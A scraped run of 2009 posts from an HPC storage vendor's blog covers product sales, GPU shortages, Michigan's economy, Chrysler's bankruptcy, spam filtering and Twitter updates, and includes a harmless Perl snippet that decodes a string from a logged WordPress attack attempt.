https://blog.scalability.org/2009/06/14-1-and-accelerating/ Fri, 19 Jun 2009 19:17:29 +0000 https://blog.scalability.org/2009/06/14-1-and-accelerating/ c.f. here I head this morning that it was 14.1% in May. I wonder when we are going to stop using the euphemism “the longest recession since the great depression”. https://blog.scalability.org/2009/06/registering-for-an-account-some-things-i-have-observed/ Fri, 19 Jun 2009 12:58:28 +0000 https://blog.scalability.org/2009/06/registering-for-an-account-some-things-i-have-observed/ So the day jobs online store is up. We provide some of the information openly, and some information, specifically pricing, is available to people who register for an account. Why do we do it this way? I’ve found this to be a good way to distinguish between people who are merely curious, but wouldn’t consider purchasing, and people who want information for a potential purchase. If you are serious about something, you are going to be willing to dig a little deeper. https://blog.scalability.org/2009/06/twitter-updates-for-2009-06-19/ Fri, 19 Jun 2009 07:05:00 +0000 https://blog.scalability.org/2009/06/twitter-updates-for-2009-06-19/ * Exploring twitter marketing. Please tweet back if you are interested in twitter based sales on #[storage](http://search.twitter.com/search?q=%23storage) and #[hpc](http://search.twitter.com/search?q=%23hpc) systems and support [#](http://twitter.com/sijoe/statuses/2227707831) * Just joined a twibe. Visit [http://twibes.com/HPC?v=0](http://twibes.com/HPC?v=0) to join [#](http://twitter.com/sijoe/statuses/2227988975) * Just started a Twibe. Visit [http://twibes.com/scalable](http://twibes.com/scalable) to join. [#](http://twitter.com/sijoe/statuses/2228008441) Powered by Twitter Tools. https://blog.scalability.org/2009/06/twitter-updates-for-2009-06-18/ Thu, 18 Jun 2009 07:05:00 +0000 https://blog.scalability.org/2009/06/twitter-updates-for-2009-06-18/ * @[garystiehr](http://twitter.com/garystiehr) Tigers ... nooooooo what is it with these Detroit teams... is there something in the water here? [in reply to garystiehr](http://twitter.com/garystiehr/statuses/2202218024) [#](http://twitter.com/sijoe/statuses/2205419461) Powered by Twitter Tools. https://blog.scalability.org/2009/06/dealing-with-the-tesla-non-availability-issue/ Thu, 18 Jun 2009 02:14:19 +0000 https://blog.scalability.org/2009/06/dealing-with-the-tesla-non-availability-issue/ If you haven’t heard, Tesla’s are hard to come by. We have several Pegasus systems that customers have purchased, that we can’t get the units for. All of the distributors and resellers we have spoken to indicate that they are getting a small fraction of their orders filled. We have had units on order over a month. Several more orders, and a hard deadline to get units filled. We have heard rumors of fabrication problems and part recalls (given the past history with other chipsets, some believe this to be the case, though I am not sure … more likely a low yield coupled with something else). https://blog.scalability.org/2009/06/a-for-demonstration-use-only-bios-on-the-sas-controller-huh/ Thu, 18 Jun 2009 01:08:29 +0000 https://blog.scalability.org/2009/06/a-for-demonstration-use-only-bios-on-the-sas-controller-huh/ Well, its not just that it says that it is a beta bios. This is annoying but ok, as you know the other bios will (hopefully) soon follow. Its that it says its “FOR DEMONSTRATION PURPOSES ONLY”. I snapped a picture of the bios boot screen. Will post it tomorrow if there is interest. Apparently, the motherboards are indeed shipping this way. We were told originally that demand was high, and thats why they were delayed. https://blog.scalability.org/2009/06/twitter-updates-for-2009-06-17/ Wed, 17 Jun 2009 07:05:00 +0000 https://blog.scalability.org/2009/06/twitter-updates-for-2009-06-17/ * For a downward moving economy we are busier than ever, selling #[jackrabbit](http://search.twitter.com/search?q=%23jackrabbit) boxes with many #[terabyte](http://search.twitter.com/search?q=%23terabyte) to proposed #[petabyte](http://search.twitter.com/search?q=%23petabyte) scale #[storage](http://search.twitter.com/search?q=%23storage) [#](http://twitter.com/sijoe/statuses/2198137724) * Just added myself to the [http://wefollow.com](http://wefollow.com) twitter directory under: #[storage](http://search.twitter.com/search?q=%23storage) #[HPC](http://search.twitter.com/search?q=%23HPC) #[startup](http://search.twitter.com/search?q=%23startup) [#](http://twitter.com/sijoe/statuses/2198178717) * I just added myself to [http://twitr.org](http://twitr.org) Twitter Directory under #[storage](http://search.twitter.com/search?q=%23storage) #[hpc](http://search.twitter.com/search?q=%23hpc) #[startup](http://search.twitter.com/search?q=%23startup) [#](http://twitter.com/sijoe/statuses/2198210459) Powered by Twitter Tools. https://blog.scalability.org/2009/06/benchmarks-mdbnch/ Wed, 17 Jun 2009 05:09:57 +0000 https://blog.scalability.org/2009/06/benchmarks-mdbnch/ Many moons ago, we used MDBNCH as a performance test case for new compilers and platforms. It is a molecular dynamics benchmark test. Large caches help it. So do fast instruction issue rates. And bloody fast FP execution units. For a long time I had wondered when we would see the first crossing of 1 second to complete this benchmark. It was getting closer and closer. So this evening, with gfortran, I built it with -O3. https://blog.scalability.org/2009/06/there-are-fads-and-then-there-are-fads/ Tue, 16 Jun 2009 23:36:17 +0000 https://blog.scalability.org/2009/06/there-are-fads-and-then-there-are-fads/ Sadly, technologists and IT people are not beyond buying into fads. A fad is basically a temporarily enhanced interest in some aspect of a market, or a product, or a technology. Fads pass. The repercussions of buying into fads can be … well … significant. So can the problem of missing the boat … not on fads, but fads that develop legs and become, effectively, movements, groundswells, or even disruptive technologies. https://blog.scalability.org/2009/06/and-rock-gets-canceled/ Tue, 16 Jun 2009 14:12:19 +0000 https://blog.scalability.org/2009/06/and-rock-gets-canceled/ From the NYT, a blog post on the passing of Rock. Been there, done that. SGI’s Beast and Alien. Would have been interesting chips. Killed because Itanium was going to conquer all. No, wait, I am not kidding … It will … eventually … someday … It appears little bits of hardware keep falling off the map. And HPC. Its gone. What does this mean to SGE, Lustre, the compiler groups … Rock was an interesting chip. https://blog.scalability.org/2009/06/egads-sun-admitted-oracle-really-didnt-want-the-whole-enchilada/ Mon, 15 Jun 2009 19:01:29 +0000 https://blog.scalability.org/2009/06/egads-sun-admitted-oracle-really-didnt-want-the-whole-enchilada/ Saw this on the Register (therefore it must be true) https://blog.scalability.org/2009/06/a-quandry-on-partnerships/ Sun, 14 Jun 2009 12:51:42 +0000 https://blog.scalability.org/2009/06/a-quandry-on-partnerships/ The day job has had partnerships in the past, and maintains a number of active ones. We have reseller partnerships, joint service/support partnerships, development partnerships … and so forth. Not all (or even a majority) are listed on our site. What we view as a partnership is a relationship which will be mutually beneficial … aid both parties … without causing harm to either. If we are going to partner, then there is a little of an exchange of something of value, so we get something akin to a 1+1=3 moment, for both organizations. https://blog.scalability.org/2009/06/ot-red-wings-vs-pittsburgh-in-game-7-of-stanley-cup-final/ Thu, 11 Jun 2009 17:31:08 +0000 https://blog.scalability.org/2009/06/ot-red-wings-vs-pittsburgh-in-game-7-of-stanley-cup-final/ Not really HPC, though our friends at PSC have named various supercomputers after Mario Lemieux … Tomorrow night … Wings vs Penguins, game 7. We may have to give special discounts if the Wings take the cup! [update] … and its over. No discount for winning the cup. Wings didn’t start playing until 8 minutes left in the 3rd period. Ugh. https://blog.scalability.org/2009/06/the-coming-bitrifurcation-in-hpc-part-1/ Wed, 10 Jun 2009 19:26:20 +0000 https://blog.scalability.org/2009/06/the-coming-bitrifurcation-in-hpc-part-1/ This will be short. Mostly a hat tip to Doug Eadline who in a very recent article talks about something we have been talking about privately for a while. Read the article, and afterwords, ponder a point he was discussing: I believe so. Doug cautions people to not read into his words too much. This said, we are building very muscular desktops sporting 24 cores, 256 GB ram, 1+ GB/s IO channels, and accelerators of several flavors. https://blog.scalability.org/2009/06/ouch-2/ Wed, 10 Jun 2009 17:50:05 +0000 https://blog.scalability.org/2009/06/ouch-2/ [Warning] This is old news that got reposted as new. From LinuxHPC.org (Ken Farmer’s excellent site) I saw this … I wonder if this impacts any TeamHPC or M&A; GSA contracts, which are usually quite … explicit … about lawsuit issues and eligibility for opportunities. They might have to go through a proxy if they can’t go direct. https://blog.scalability.org/2009/06/chrysler-sale-approved/ Wed, 10 Jun 2009 00:18:13 +0000 https://blog.scalability.org/2009/06/chrysler-sale-approved/ The supreme court has just rescinded its stay of the sale. Understanding that I am a fan and returning customer to Chrysler (for its Jeep products), my biases should be clear … this is very bad news to any senior creditor out there, dealing with a large troubled debtor, and a group with political patronage. Why would any bank or lending institution possibly grant a loan, if political considerations will outweigh legal considerations? https://blog.scalability.org/2009/06/on-the-price-we-all-pay-for-seo/ Tue, 09 Jun 2009 16:26:15 +0000 https://blog.scalability.org/2009/06/on-the-price-we-all-pay-for-seo/ SEO is an attempt to influence an algorithm for ranking and displaying data entered into search systems. Google and other search engines perform many calculations to try to return “meaningful” results. Well, they use a particular definition of meaningful. One that involves what they considered to be a consensus … if a page has lots of links to it from many other pages, then it must have meaning. This may have been true once. https://blog.scalability.org/2009/06/chrysler-hits-a-major-bump/ Mon, 08 Jun 2009 21:30:40 +0000 https://blog.scalability.org/2009/06/chrysler-hits-a-major-bump/ [updated] see at bottom: Chrysler is an HPC user. I am a Chrysler customer. We have 2 Jeep Grand Cherokees. Words like “cold dead fingers” come to mind when I think about giving them up. Well, ok .. on the way in to the lab this morning, my interior roof is starting to leak … 13 year old Jeep. Chrysler’s bankruptcy was engineered. Not well engineered, just engineered. In the process of setting it up, you saw political patronage completely derail legal rights, specifically senior versus junior creditors. https://blog.scalability.org/2009/06/we-made-the-great-lakes-it-report-this-past-sunday/ Mon, 08 Jun 2009 12:36:10 +0000 https://blog.scalability.org/2009/06/we-made-the-great-lakes-it-report-this-past-sunday/ I did email Matt Rousch to let him know what we are up to. Hopefully he will come by when we are testing the 96TB unit we sold :) Linky is here. https://blog.scalability.org/2009/06/the-rise-of-the-new-issues-data-motion/ Sun, 07 Jun 2009 17:29:05 +0000 https://blog.scalability.org/2009/06/the-rise-of-the-new-issues-data-motion/ I’ve been talking about data motion (moving data between place “a” and “b”) as a problem for a long time now. You can summarize it easily in a very simple equation, and use that to explain what is going wrong, and estimate how much we are going to suffer going forward. In a nutshell, data motion is measurable in the time it takes to copy a chunk of data between ‘places’. https://blog.scalability.org/2009/06/press-release-from-day-job/ Thu, 04 Jun 2009 18:43:07 +0000 https://blog.scalability.org/2009/06/press-release-from-day-job/ c.f. this link CANTON, MI - June 4, 2009 UTC - Scalable Informatics, a High Performance Computing solutions provider known for innovation, is pleased to announce the immediate availability of several new, low cost, high performance, high capacity, tightly coupled storage and processing systems. Scalable Informatics JackRabbit??? systems provide low cost, highly reliable RAID storage, with performance of 700 MB/s on low end systems, to in excess of 1.5 GB/s to disk using RAID 6 for midrange systems. https://blog.scalability.org/2009/06/twitter-updates-for-2009-06-04/ Thu, 04 Jun 2009 07:05:00 +0000 https://blog.scalability.org/2009/06/twitter-updates-for-2009-06-04/ * 96TB, 5U, 48 honking fast drives, [http://scalableinformatics.com/jackrabbit](http://scalableinformatics.com/jackrabbit) , to be used for cloud computing storage targets [#](http://twitter.com/sijoe/statuses/2023205143) Powered by Twitter Tools. https://blog.scalability.org/2009/06/its-official-we-have-sold-our-first-96tb-jr5-unit/ Wed, 03 Jun 2009 23:45:43 +0000 https://blog.scalability.org/2009/06/its-official-we-have-sold-our-first-96tb-jr5-unit/ Waaaa hooooo!!!! This is also our first big Nehalem JackRabbit sale. For those who don’t know, JackRabbit is a cost effective, very fast, very powerful storage and integrated processing system. Units go from 2 to 5 rack units, with capacities from 9TB through 96TB, and cost starting well under $1/GB. Raw performance, performance density, and storage density make this an ideal component of a cluster storage or cloud storage system. This unit in particular is going to a cloud computing provider. https://blog.scalability.org/2009/06/weee-a-new-wordpress-attack-in-the-wild-or-is-this-an-attack-or-something-worse-spam-mebbe/ Wed, 03 Jun 2009 12:59:09 +0000 https://blog.scalability.org/2009/06/weee-a-new-wordpress-attack-in-the-wild-or-is-this-an-attack-or-something-worse-spam-mebbe/ Sitting here, drinking coffee, preparing for the short ride into work (probably have to stop off at Meijer to pick up some turnovers … mmmmm turnovers!) when I noticed this on my wordpress logs tail Hey … someone is trying to hack us. Cool. But what does this say? Ok, let me use a quickie script to handle this for me … <code> #!/usr/bin/perl my $hex="\xd0\xa1\xd0\xbf\xd0\xb0\xd1\x81\xd0\xb8\xd0\xb1\xd0\xbe, \xd0\xbf\xd0\xbe ... \xd1\x87\xd1\x82\xd0\xbe \xd0\xbf\xd0\xbe\xd1\x87\xd0\xb5\xd1\x80\xd0\xbf\xd0\xbd\xd1\x83\xd1\x82\xd1\x8c"; printf "%s\n",$hex; </code> Cool. https://blog.scalability.org/2009/06/ok-this-was-also-funny/ Wed, 03 Jun 2009 04:19:26 +0000 https://blog.scalability.org/2009/06/ok-this-was-also-funny/ A reader pointed out that google chrome complained about this site. Said we spread malware. So I checked, and sure enough, got a message to that effect. Looking into it, it was complaining about something in an iframe in front of the video. This came from the link on youtube. So to get this correct … Google was complaining about the embed code contained on youtube. Don’t think about this one too hard. https://blog.scalability.org/2009/06/tangential-humorous-and-akin-to-what-we-experience/ Mon, 01 Jun 2009 13:28:34 +0000 https://blog.scalability.org/2009/06/tangential-humorous-and-akin-to-what-we-experience/ Doug showed me this video this morning. Its not about HPC, but what you see here is … well … strangely reminiscent of what we encounter when it comes time to negotiate a sale. It is humorous, only if you haven’t seen people try this stuff. We have people try this stuff all the time with us. https://blog.scalability.org/2009/05/finally-direct-postfixbogofilter-integration/ Sun, 31 May 2009 14:40:57 +0000 https://blog.scalability.org/2009/05/finally-direct-postfixbogofilter-integration/ We’ve been running a pipeline our spam tagging and virus removal for a while. It was integrated into the pipeline via procmail, not directly into postfix. Well, I finally figured out how to do one of the stages as an integrated tagger within postfix. Turns out to be fairly easy. And I didn’t create the method, I simply adapted it. We can always switch back to the other method if needed. https://blog.scalability.org/2009/05/twitter-updates-for-2009-05-30/ Sat, 30 May 2009 07:05:00 +0000 https://blog.scalability.org/2009/05/twitter-updates-for-2009-05-30/ * Doug got the online store up, [http://scalableinformatics.com/catalog](http://scalableinformatics.com/catalog) JackRabbits and Pegasus(es) and Delta-V's ... buy as many as you want [#](http://twitter.com/sijoe/statuses/1965390591) Powered by Twitter Tools. https://blog.scalability.org/2009/05/new-online-store-is-up-and-live/ Fri, 29 May 2009 22:09:42 +0000 https://blog.scalability.org/2009/05/new-online-store-is-up-and-live/ Linky linky. You can buy JackRabbits, and Pegasus, and DeltaV (ΔV) … all online, from the comfort of your armchair at home. And bunny slippers, must not forget the bunny slippers. You have to create an account on the site, and you need a real email and contact data to see pricing/enter stuff into the cart. Account creation will require administrator approval. It is very cool, Doug ordered several JackRabbits for himself this week… None of this would have been possible, of course, without Doug, and his tireless and fearless pursuit of this function. https://blog.scalability.org/2009/05/coming-up-for-air-gulp/ Fri, 29 May 2009 17:05:01 +0000 https://blog.scalability.org/2009/05/coming-up-for-air-gulp/ Wow … this has been one of our most active days/weeks. I hope we don’t delay the PR, but I am clearly in need of additional hands. Doug suggested cloning, though this is illegal in the state of Michigan. I thought I had cleared my plate last night. Nope. No such luck. https://blog.scalability.org/2009/05/two-more-down/ Fri, 29 May 2009 04:44:15 +0000 https://blog.scalability.org/2009/05/two-more-down/ Visteon filed chapter 11 today. Visteon is parts supplier to Ford. Ford now has to help them out … or risk not being able to get sub-assemblies. This is not good for Ford, significantly increases the risk for them. Metaldyne also filed. Metaldyne was a supplier to Chrysler. When Chrysler filed Chapter 11, well, suppliers won’t get paid for a while … if at all. Metaldyne will sell chunks of itself off. https://blog.scalability.org/2009/05/the-risk-of-bricking-and-the-lessons-that-people-need-to-learn/ Fri, 29 May 2009 04:01:00 +0000 https://blog.scalability.org/2009/05/the-risk-of-bricking-and-the-lessons-that-people-need-to-learn/ I read several excellent synopses from SiCortex former staff such as Jeff Darcy, and Matt Reilly. Jeff and Matt gave several excellent arguments as to why SiCortex succeeded, despite getting the plug pulled. Some will guffaw about this, and say that pulling the plug was evidence of failure. They would be wrong. VCs will pull plugs everywhere from pre-term sheet to capital call time. Their rationale for pulling plugs won’t always make sense, to you, or others. https://blog.scalability.org/2009/05/plugins-for-email-followup-installed/ Fri, 29 May 2009 01:34:21 +0000 https://blog.scalability.org/2009/05/plugins-for-email-followup-installed/ You have to have registered for an account to use them, and you have to be logged in to enable it. I removed as many “garbage” accounts as I could find. If I removed your account and it wasn’t garbage, please accept my apology. If I see an increase in garbage account registrations, I’ll change the registration procedures. I hope I don’t have to do it. I tried the follow up, I think it is working (I got the email). https://blog.scalability.org/2009/05/looks-like-our-first-96tb-jr5-will-be-sold-early-next-week/ Wed, 27 May 2009 16:59:31 +0000 https://blog.scalability.org/2009/05/looks-like-our-first-96tb-jr5-will-be-sold-early-next-week/ We have … well … lots of interest from cloud folk. And cluster folk. And … well … you get it. More soon. And yes, the PR is open in OO v3.0.1 on my desktop as we speak. If I do my job right, it should be out Friday. https://blog.scalability.org/2009/05/24-hour-rule/ Wed, 27 May 2009 16:57:29 +0000 https://blog.scalability.org/2009/05/24-hour-rule/ [update] In multiple conversations/emails today, I learned that this was indeed true. The link to InsideHPC story is here. Vipin and I were rooting for them, as the technology was interesting, the approach different, and the value apparent. This was before we talked to them about possibly working together. This company did have good technology, did have great people. Now a VC/financial group has assets they have to sell. Maybe someone can explain to me how that is more valuable than a viable functioning growing going concern, generating revenue, closing in on break even. https://blog.scalability.org/2009/05/apparently-we-aint-seen-nothin-yet/ Tue, 26 May 2009 11:50:20 +0000 https://blog.scalability.org/2009/05/apparently-we-aint-seen-nothin-yet/ You can hear lots of people talking over the last few weeks, how we are “bottoming out” in terms of the economy. Privately, I had wondered if this was merely a dead cat bounce. With oil now rapidly rising, articles are appearing that start to call into question the impact upon the economy. Turning what they authors hope to be nascent recoveries into what they predict to be additional (significant) declines. https://blog.scalability.org/2009/05/ok-i-got-sike-of-the-spam-changed-the-mailer-back/ Mon, 25 May 2009 23:58:39 +0000 https://blog.scalability.org/2009/05/ok-i-got-sike-of-the-spam-changed-the-mailer-back/ About a month ago, I altered our SMTP daemon to not be so picky about mail. Previous to this, I had turned on and tweaked many anti-spam things. One of my favorites so far has been spf. Turns out, that lots of mailers are incorrectly configured. That is being generous. Lots of mailers are on the internet, and not complying with RFCs, which makes it real hard to distinguish spam sources from real mailers. https://blog.scalability.org/2009/05/one-targetpl-to-rule-them-all-and-on-the-server-bind-them/ Mon, 25 May 2009 17:35:37 +0000 https://blog.scalability.org/2009/05/one-targetpl-to-rule-them-all-and-on-the-server-bind-them/ Imagine if you will, a single consistent command line interface to setting up and managing file and block based IO targets. Well, we have this mostly operational now for NFS, and are working on the iSCSI, SRP, AoE, SMB, and a few other targets while we are at it. Targets are added via plugins which handle the workflow of setup/teardown, etc. This is the updated version of our API. And it is an integral part of our STorAge SHell, used for managing huge storage systems. https://blog.scalability.org/2009/05/an-observation-on-the-quality-of-the-perl-build-in-ubuntu-904/ Mon, 25 May 2009 17:16:25 +0000 https://blog.scalability.org/2009/05/an-observation-on-the-quality-of-the-perl-build-in-ubuntu-904/ I have long ago given up on the perl builds in Redhat and build-alikes. To call them broken is … well … to be unfair to things that are merely broken. The Redhat/Centos Perls are basically completely hosed, in part due to incorporating bad patch mixes, poor build Config options, etc. Some will claim that despite the broken-ness of the build, it is better to stick with this build, and not install updated/corrected modules via CPAN. https://blog.scalability.org/2009/05/i-had-to-try-this/ Sat, 23 May 2009 03:41:00 +0000 https://blog.scalability.org/2009/05/i-had-to-try-this/ [gallery link=“file” columns=“2”] Yeah … well … At least it recognizes it could be humorous. Look at the bottom of the image … https://blog.scalability.org/2009/05/a-simple-statement/ Fri, 22 May 2009 02:16:56 +0000 https://blog.scalability.org/2009/05/a-simple-statement/ Yesterday, I got into a discussion with Sean Eddy at Janelia farms over the change in HMMer. Today I saw this online. Let me be clear. The name “HMMer” is Sean’s, and he can do with it what he wants. My concern was about something different, which we are going to adapt to. We are working to make sure we are correctly respecting his rights, while at the same time supporting users with a “business” case for using the existing code. https://blog.scalability.org/2009/05/ugh-129-and-climbing/ Thu, 21 May 2009 15:13:52 +0000 https://blog.scalability.org/2009/05/ugh-129-and-climbing/ While the rest of the nation deals with a persistent and painful recession, with associated job loss, business activity slowdown, Michigan pretty much leads the nation in unemployment. This is not a good thing to lead the nation in. Job production. That would be good. VC and capital investment. That would be good. Educational accomplishment and R&D; dollars invested. That would be good. Unemployment? Not so much good. https://blog.scalability.org/2009/05/short-program-last-night-on-npr-about-banks/ Thu, 21 May 2009 12:44:47 +0000 https://blog.scalability.org/2009/05/short-program-last-night-on-npr-about-banks/ Our bank is one that failed its stress test, but just got another $13B by selling stock. Ok, we are being told the credit market is unfreezing. LIBOR is falling. Good. What does this mean for small businesses? Precisely squat. Yup, you got it. Our credit market is frozen solid. The bank analysts admitted, on the radio program, that what the banks were doing was hording cash. The banks want to pay back TARP as soon as possible. https://blog.scalability.org/2009/05/short-article-on-the-growth-of-accelerators-in-life-science-work/ Tue, 19 May 2009 21:39:03 +0000 https://blog.scalability.org/2009/05/short-article-on-the-growth-of-accelerators-in-life-science-work/ I am quoted in there quite a bit. This is GenomeWeb magazine covering the many aspects of what is called Bio-IT. One of the massive problems around Bio-IT is moving data (go figure), storing data (again …), and processing data. I’ve heard some people provide arguments as to why accelerators won’t play there … and then I hear from people who have a limited time to get their work done, subject to an ever growing mound of data. https://blog.scalability.org/2009/05/twitter-updates-for-2009-05-19/ Tue, 19 May 2009 07:05:00 +0000 https://blog.scalability.org/2009/05/twitter-updates-for-2009-05-19/ * @[mndoci](http://twitter.com/mndoci) should we assume our friend "Chad" wasn't invited to that party ... ? Too bad we can't do that here ... [in reply to mndoci](http://twitter.com/mndoci/statuses/1830463079) [#](http://twitter.com/sijoe/statuses/1836024323) Powered by Twitter Tools. https://blog.scalability.org/2009/05/doing-a-bit-more-performance-testing-on-the-big-jr4/ Mon, 18 May 2009 21:27:46 +0000 https://blog.scalability.org/2009/05/doing-a-bit-more-performance-testing-on-the-big-jr4/ [This was an older post from a few weeks ago, sitting in my queue. Cleared it out] Want to burn it in. Played with an experimental kernel, and found the Mellanox drivers wouldn’t build. Too many things have changed from 2.6.27 to 2.6.29.2. Ok, reloaded with Centos 5.3. Will stress test the default kernel. For some reason, we were hitting a strange SSD-RAID interaction, so I swapped out the SSD pair for spinning rust pair. https://blog.scalability.org/2009/05/chromium-for-linux-google-chrome-for-linux/ Sun, 17 May 2009 16:22:07 +0000 https://blog.scalability.org/2009/05/chromium-for-linux-google-chrome-for-linux/ Technically, from a branding scenario, Chromium isn’t Chrome. Ignore that for a moment. Chromium is out for Linux. It is a new/alternative browser for Linux. It is much better than firefox in terms of raw speed. And from the memory leaks I have seen in the latest FF, and the instability of the program (its a crap shoot as to whether it will load a page or not, not to mention all the rendering bugs) … Chromium, in its current pre-alpha state, is a better browser than FF. https://blog.scalability.org/2009/05/what-happens-when-economic-development-doesnt-work/ Sun, 17 May 2009 14:40:16 +0000 https://blog.scalability.org/2009/05/what-happens-when-economic-development-doesnt-work/ Interesting article in the Freep today. It points out that Michigan has shed about 700k jobs in a decade, while the MEDC has managed to create, or in more realistic terms, preserve, 43k jobs. Thats roughly 1 job created for every 16 lost. Understand that Michigan has been the home to the US auto industry, and in most cases, every other industry here has played, at best, a distant second fiddle to it from an economic and political clout view. https://blog.scalability.org/2009/05/and-so-it-ends/ Thu, 14 May 2009 23:24:49 +0000 https://blog.scalability.org/2009/05/and-so-it-ends/ From Yahoo https://blog.scalability.org/2009/05/took-me-long-enough-i-finally-fixed-the-certs/ Thu, 14 May 2009 03:36:26 +0000 https://blog.scalability.org/2009/05/took-me-long-enough-i-finally-fixed-the-certs/ This was bad of me. For years, we’ve been using self signed certs for lots of things. I figured we wouldn’t host our own store, or do other things like that. Well, all that is going to change. The Amazon web-store is actually hard to use, and costs us too much. Not to mention the various restrictions they impose. So we are moving the store to our server. Look for the announcement soon. https://blog.scalability.org/2009/05/microsoft-raising-large-sums-of-cash-for-what/ Tue, 12 May 2009 22:47:13 +0000 https://blog.scalability.org/2009/05/microsoft-raising-large-sums-of-cash-for-what/ I’ve heard speculation of acquisitions. This would be the time for it. Valuations are down, and good companies can be had “on the cheap”. I’ve heard someone mention EMC as a target. Somehow … well … I don’t thinks so. Doesn’t seem like a good fit. I have a very odd sense of what a “good” fit would be. I am sure lots of folks will disagree. But it would solve many problems for Microsoft, right away. https://blog.scalability.org/2009/05/the-future-of-the-hpc-market-is-it-growing-or-shrinking/ Tue, 12 May 2009 04:42:31 +0000 https://blog.scalability.org/2009/05/the-future-of-the-hpc-market-is-it-growing-or-shrinking/ HPC as a market, is under stress, and will continue to be for a while. The Inquirer has an interesting article saying very similar things to what I have been saying for a while about the market. It is a very good read. I’ve been saying for years … no … decades now … about 15 years to be frank, that HPC has been moving relentlessly downmarket. Each wave of its motion has a destructive impact upon the old order, and opens up the market wider to more people. https://blog.scalability.org/2009/05/twitter-updates-for-2009-05-10/ Sun, 10 May 2009 07:05:00 +0000 https://blog.scalability.org/2009/05/twitter-updates-for-2009-05-10/ * thinking about work must solve a driver issue do this on monday # * ok, that was an attempt at a haiku … there is an implied newline after ‘work’, and ‘issue’. Maybe we need twitter-ku # Powered by Twitter Tools. https://blog.scalability.org/2009/05/some-sun-shareholders-are-apparently-pissed-off-at-the-deal/ Sat, 09 May 2009 20:41:44 +0000 https://blog.scalability.org/2009/05/some-sun-shareholders-are-apparently-pissed-off-at-the-deal/ From Computerworld: Hmmm… Breach of fiduciary duty? By board members? Nah … couldn’t happen … (yes, I am being sarcastic). But these shareholders allege that the price was too low. I have to disagree with this. The market suggested a significantly lower price than Oracle paid. Its probably not worth pushing that point too hard, and just let Sun go gentle into the good night. Put another way, stop looking at this gift horse too closely. https://blog.scalability.org/2009/05/side-stepping-landmines/ Fri, 08 May 2009 11:52:43 +0000 https://blog.scalability.org/2009/05/side-stepping-landmines/ We run into some interesting things as a business. We have a good set of products showing best in class performance, and price performance, not to mention expansion capabilities and localized computing power. We have partners and resellers. We resell some of their product, providing feedback on opportunities, why we win or lose, and resellers, some of whom do the same for us. We try to stay out of non-differentiable markets. https://blog.scalability.org/2009/05/twitter-updates-for-2009-05-08/ Fri, 08 May 2009 07:05:00 +0000 https://blog.scalability.org/2009/05/twitter-updates-for-2009-05-08/ * Mmmm nice shiny reboot button ... mmm wanna press it .... mmm .... oops ... there goes an hour of work ... (DOH!!!!) [#](http://twitter.com/sijoe/statuses/1729615374) * loading a customers system, over the network, from an iso image, on my laptop. 800 miles away from them. [#](http://twitter.com/sijoe/statuses/1729635255) Powered by Twitter Tools. https://blog.scalability.org/2009/05/happiness-is-a-jr4-tearing-through-an-octobonnie/ Thu, 07 May 2009 02:28:00 +0000 https://blog.scalability.org/2009/05/happiness-is-a-jr4-tearing-through-an-octobonnie/ This is a very stressful benchmark for a server. A single bonnie++ run can generate user loads of 3-5 depending upon system configuration. And bonnie++ wants … no … insists on using 2x ram per run. So even if you run 8 at a time … and have, lets say … I dunno … 128 GB ram … 2x RAM is 256GB. 8 of these is about 2TB of space. Sure enough … https://blog.scalability.org/2009/05/that-udev-issue-self-inflicted/ Wed, 06 May 2009 03:50:58 +0000 https://blog.scalability.org/2009/05/that-udev-issue-self-inflicted/ I might have a point about udev. A reasonable point. But the problem appears to be one or the other packages we installed. Retried it on my sacrificial machine here at home. No IB cards, but I was able to boot our stable kernel after installing the Mellanox OFED. I’d prefer to use our OFED build, and looks like I’ll be able to do that. By self inflicted I mean that I ran the installer script one too many times. https://blog.scalability.org/2009/05/its-over-including-the-shouting/ Wed, 06 May 2009 03:43:41 +0000 https://blog.scalability.org/2009/05/its-over-including-the-shouting/ SCO’s chapter 11 looks like it will be turned into a chapter 7 liquidation. Litigation is rarely a rational business plan. You actually have to own assets that other people have purloined. If you don’t own the assets, and other haven’t stolen the assets you don’t own … its a little harder to claim you have been done wrong. Look for the assets they do own to be auctioned off to pay creditors. https://blog.scalability.org/2009/05/confirmation-of-earlier-post-info-i-had-hoped-it-was-untrue/ Tue, 05 May 2009 20:41:02 +0000 https://blog.scalability.org/2009/05/confirmation-of-earlier-post-info-i-had-hoped-it-was-untrue/ This link pretty much covers it. This is a bankruptcy, an ordered re-ordering of a company. It is a well practiced procedure. Everyone will get hurt, though the non-secured creditors, by law, will get hurt worse, and the equity holders are basically wiped out. This is the way things go. Except for Chrysler. Where very specific non-secured creditors are actually getting ahead, and secured creditors are getting something else. Ouch. Rumor had it that HP had given Chrysler a sweetheart deal on their last cluster. https://blog.scalability.org/2009/05/udev-should-never-ever-hang/ Tue, 05 May 2009 18:17:49 +0000 https://blog.scalability.org/2009/05/udev-should-never-ever-hang/ Udev is a /dev population tool. Enables devices to be hotplugged, and it adapts the system to the changes by running commands and scripts. Udev runs upon reboot. And in the background courtesy of libevent, it handles changes as they occur. Except, every now and then, something goes arwy with UDev. Like it hangs. So booting stops. Cold. With no way around it. Sort of our BSOD. Just as inconvenient. What you can do about it is fairly interesting. https://blog.scalability.org/2009/05/twitter-updates-for-2009-05-04/ Mon, 04 May 2009 07:05:00 +0000 https://blog.scalability.org/2009/05/twitter-updates-for-2009-05-04/ * Burning in a 128GB 16 core JR for a customer. Getting 1.7 GB/s sustained large block reads, 1.4 GB/s sustained large block writes [#](http://twitter.com/sijoe/statuses/1691205092) Powered by Twitter Tools. https://blog.scalability.org/2009/05/it-didnt-take-long-for-this-to-descend-into-a-mess/ Sun, 03 May 2009 22:57:45 +0000 https://blog.scalability.org/2009/05/it-didnt-take-long-for-this-to-descend-into-a-mess/ I had mentioned Chrysler’s bankruptcy previously. What was being reported, whereby the unsecured creditors were making out much better than the secured creditors, simply didn’t strike me as making sense. I thought the secured creditors would simply say no, and force the issue in court. Which appears to be what they are doing. The only “winners” if you can call them that, are the unions, who, as unsecured creditors, wound up with 55% of the company. https://blog.scalability.org/2009/05/the-aftermath-of-the-smallest-of-the-big-3-going-bang/ Fri, 01 May 2009 12:39:06 +0000 https://blog.scalability.org/2009/05/the-aftermath-of-the-smallest-of-the-big-3-going-bang/ Its the day after. Detroit has had a 20+% unemployment rate for a while, exacerbated by many factors. It would be fair, and accurate to state that the city has been in a depression for a while. Well, the little “surgical” bankruptcy is having the ripple effects we knew it would. And it will likely take down several additional companies with it, that were under pressure, but not in terrible shape. https://blog.scalability.org/2009/04/and-chrysler-goes-bang/ Thu, 30 Apr 2009 17:05:01 +0000 